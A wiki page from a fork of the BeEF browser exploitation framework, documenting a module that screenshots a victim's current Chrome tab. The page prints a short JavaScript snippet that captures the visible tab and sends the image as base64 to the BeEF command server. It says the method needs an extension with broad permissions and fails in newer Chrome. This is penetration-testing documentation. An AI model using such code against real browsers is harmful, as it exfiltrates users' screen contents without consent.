forked from beefproject/beef
-
Notifications
You must be signed in to change notification settings - Fork 0
Module: Screenshot
Haoxi Tan edited this page Jan 7, 2020
·
2 revisions
-
Objective: Take a screenshot of the current tab
-
Authors: mh
-
Browsers: Chrome
This module tries to take a screenshot of the current tab and returns it to the as base64 data. Only works if the chrome.tabs.captureVisibleTab
method is available.
As of 2019, it does not work in the newer versions of Chrome. This method only works within the context of an extension having the <all_urls>
permission.
chrome.tabs.captureVisibleTab(null, function(img) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString());
});
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/Tabs/captureVisibleTab
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation